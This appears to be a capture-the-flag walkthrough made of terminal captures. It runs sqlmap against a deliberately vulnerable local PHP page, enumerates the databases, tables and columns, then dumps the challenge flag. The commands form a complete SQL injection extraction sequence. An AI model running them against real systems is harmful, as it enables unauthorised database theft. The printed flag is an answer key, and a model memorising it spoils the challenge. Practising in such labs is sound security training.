```
┌──(root㉿kali)-[/home/kali]
└─# curl http://ch2.supnum.local/
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SQLi Challenge</title>
</head>
<body>
    <h1>SQL Injection Challenge</h1>
    <p>Visit the vulnerable page:</p>
    <a href="sqli/index.php?id=1">User Profile 1</a>
    <p>Try to extract information from the database using SQL injection.</p>
</body>
</html>
```

```
Username: admin
Email: admin@supnum.mr
┌──(root㉿kali)-[/home/kali/sqlmap]
└─# python3 sqlmap.py -u "http://ch2.supnum.local/sqli/index.php?id=1" --dbs

        ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.5.4#dev}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual co
onsibility to obey all applicable local, state and federal laws. Developers assume
y misuse or damage caused by this program

[*] starting @ 11:47:44 /2024-05-25/
```

```
[11:48:14] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.22.1, PHP 7.4.33
back-end DBMS: MySQL ≥ 5.0 (MariaDB fork)
[11:48:15] [INFO] fetching database names
available databases [5]:
[*] ctf_database
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

[11:48:15] [INFO] fetched data logged to text files under '/root/.local/share/sqlma

[*] ending @ 11:48:15 /2024-05-25/


┌──(root㉿kali)-[/home/kali/sqlmap]
└─#
```

```
┌──(root㉿kali)-[/home/kali/sqlmap]
└─# python3 sqlmap.py -u "http://ch2.supnum.local/sqli/index.php?id=1" -D ctf_database --tables

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.5.4#dev}
|_ -| . [)]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illeg
onsibility to obey all applicable local, state and federal laws. Developers assume no liability a
y misuse or damage caused by this program

[*] starting @ 11:49:19 /2024-05-25/
```

```
[11:49:20] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.22.1, PHP 7.4.33
back-end DBMS: MySQL ⩾ 5.0 (MariaDB fork)
[11:49:20] [INFO] fetching tables for database: 'ctf_database'
Database: ctf_database
[2 tables]
+-------+
| flags |
| users |
+-------+

[11:49:20] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/ch2.s

[*] ending @ 11:49:20 /2024-05-25/


┌──(root㉿kali)-[/home/kali/sqlmap]
└─#
```

```
┌──(root㉿kali)-[/home/kali/sqlmap]
└─# python3 sqlmap.py -u "http://ch2.supnum.local/sqli/index.php?id=1" -D ctf_database -T flags --columns

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.5.4#dev}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illeg
```

```
[2 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | varchar(255) |
| id     | int(11)      |
+--------+--------------+

[11:50:47] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/ch2.s
upnum.local'

[*] ending @ 11:50:47 /2024-05-25/
```

```
┌──(root㉿kali)-[/home/kali/sqlmap]
└─# python3 sqlmap.py -u "http://ch2.supnum.local/sqli/index.php?id=1" -D ctf_database -T flags -C flag --dump

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.5.4#dev}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
```

```
Table: flags
[1 entry]
+-----------------------------------------------+
| flag                                          |
+-----------------------------------------------+
| SUPNUM{DSI_k6mijwDmgSOJpID7J0W9DUPt5VngBWnS_DSI} |
+-----------------------------------------------+

[11:53:08] [INFO] table 'ctf_database.flags' dumped to CSV file '/root/.local/share/sqlmap/output/ch2.supnum.local/du
tabase/flags.csv'
[11:53:08] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/ch2.supnum.local'

[*] ending @ 11:53:08 /2024-05-25/
```